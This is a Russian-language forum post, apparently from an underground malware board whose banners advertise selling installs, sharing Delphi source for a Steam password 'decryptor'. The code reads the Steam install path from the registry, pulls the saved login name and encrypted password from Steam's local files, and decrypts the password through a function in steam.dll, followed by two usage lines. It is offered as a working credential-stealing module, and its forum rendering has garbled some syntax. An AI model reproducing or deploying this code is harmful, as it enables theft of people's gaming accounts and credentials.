|LoadsSell.net - Мы продаем загрузки| |PlohihZagRusOK.net - у нас нет плохих загрузок| |installsmarket.net - качественные загрузки любых стран| |installsdealer.com - Ваши дилеры на рынке инсталлов| |ZagruzkiNah.Com - чоткие загрузы| |107928 - продаю загрузки|

 
Старый 3 недель(и) назад   #1
WestSide

Windows 98

Регистрация: 19.11.2010
Сообщений: 163
Поблагодарили всего: 81
за это сообщение: 0
По умолчанию [Delphi] Дешифратор Steam

PHP код:
unit SteamPasswordDecryptUnit;

interface

uses
  Windows
SysutilsClassesRegistry;

function 
SteamUserName String;
function 
SteamPassword String;

type
TSteamDecryptDataForThisMachine 
= function(EncryptedData :Pchar;
                                           
EncryptedDataLength Integer;
                                           
DecryptedBuffer Pointer;
                                           
DecryptedBufferSize Integer;
                                           
DecryptedDataSize PUINT) : Integer;
                                           
cdecl;

var
  
Reg TRegistry;
  
SteamPath String;
  
StringStream TStringStream;
  
FileStream TFileStream;
  
Integer;
  
UserName PChar;
  
EncryptedPassword PChar;
  
DecryptionKey TSteamDecryptDataForThisMachine;
  
PasswordLength UINT;
  
Password : array***91;0..99***93; of char;

implementation

function SteamUserName String;
begin
  
try
  
//Finds Steam Installation Path
  
Reg := TRegistry.Create;
  
Reg.RootKey := HKEY_CURRENT_USER;
  
Reg.OpenKey('Software\Valve\Steam\',false);
  SteamPath := Reg.ReadString('
SteamPath');
  //Locates UserName within the SteamAppData.vdf file

  FileStream := TFileStream.Create(SteamPath+'
configSteamAppData.vdf',fmOpenRead);
  StringStream := TStringStream.Create('');
  StringStream.CopyFrom(FileStream, FileStream.Size);
  FreeandNil(FileStream);
  I := Pos('
AutoLoginUser',StringStream.DataString);
  I := I + 17;
  UserName := PChar(copy(StringStream.DataString,I,Pos('"',copy(StringStream.DataString,I,100))-1));
  FreeandNil(StringStream);
  Result := UserName;
  except
  Result := 'Error';
  end;
end;

function SteamPassword : String;
begin
  try
  //Finds Steam Installation Path
  Reg := TRegistry.Create;
  Reg.RootKey := HKEY_CURRENT_USER;
  Reg.OpenKey('Software\Valve\Steam\',false);
  SteamPath := Reg.ReadString('SteamPath');
  //Locates Encrypted Password within the ClientRegistry.blob file
  FileStream := TFileStream.Create(SteamPath+'\ClientRegistry.blob',fmOpenRead);
  StringStream := TStringStream.Create('');
  StringStream.CopyFrom(FileStream, FileStream.Size);
  FreeandNil(FileStream);
  I := Pos('Phrase',StringStream.DataString);
  I := I + 40;
  EncryptedPassword := PChar(copy(StringStream.DataString,I,255));
  FreeandNil(StringStream);
  //Uses SteamDecryptDataForThisMachine function from Steam.dll to decrypt password
  DecryptionKey := GetProcAddress(LoadLibrary(PChar(SteamPath+'\steam.dll')),'SteamDecryptDataForThisMachine');
  DecryptionKey(EncryptedPassword, strlen(EncryptedPassword),@Password, 100,@PasswordLength);
  Result := Password;
  except
  Result := 'Error';
  end;
end;

end. 
юзаем

PHP код:
Memo1.lines.Add(SteamUserName);
Memo1.lines.Add(SteamPassword); 
WestSide вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Ответ

Нижняя навигация
Вернуться   Fuck Anti Virus > Работаем с файлами > Source


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 

(Подробнее Тему прочитали: 5
Dave, GrammarNazi, VaD75, vayvay, _Stealer_
Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Часовой пояс GMT +4, время: 13:51.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd. Перевод: zCarot